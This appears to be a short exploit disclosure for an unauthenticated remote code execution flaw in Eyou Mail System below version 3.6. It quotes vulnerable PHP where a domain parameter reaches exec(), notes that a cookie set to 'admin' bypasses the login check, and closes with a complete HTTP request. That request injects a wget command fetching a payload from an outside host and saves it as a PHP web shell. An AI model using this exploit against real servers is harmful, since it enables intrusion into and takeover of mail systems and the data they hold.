Eyou Mail System Remote Code Execution

Hi!

The Eyou Mail System have a Remote Code Execution in \inc\fuction.php.It affects version below 3.6.

The Vulnerability fuction is get_login_ip_config_file in \inc\fuction.php.

function get_login_ip_config_file($domain, $file) {

$dir = '/var/eyou/Domain/';

$dir_mail = exec('/var/eyou/sbin/hashid '.$domain); //$domain can control by us.

....

}

the other file in \admin\domain\ip_login_set\d_ip_login_get.php.

<?php

...

require_once('inc/domain.config.php');

//ValidateAdmin(); //We donn't need to login in.

$domainname = get_domain(); //Get cookie¡¡¡¡

$allow_file = 'web_login_allow_ip';

$deny_file = 'web_login_deny_ip';

$domain = trim(get('domain')); //$domain from here.

$type = trim(get('type'));¡¡¡¡//Get type

$res = '';

if($domainname !== 'admin' && $domainname !== $domain) { //we just need control $cookie=admin can bypass it and go on.

echo '';

exit;

if($type === 'allow') {¡¡//$type any go

$file = $allow_file;

$res .= 'ip_allow&';

} elseif($type === 'deny') {

$file = $deny_file;

$res .= 'ip_deny&';

} else {

$file = get_login_ip_config_file($domain, $file);// use the vulnerability fuction

if($file === FALSE) {

echo $res;

Exp:

GET /admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1

Host: mail.xxx.com.cn

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie:cookie=admin

Connection: keep-alive

Thanks.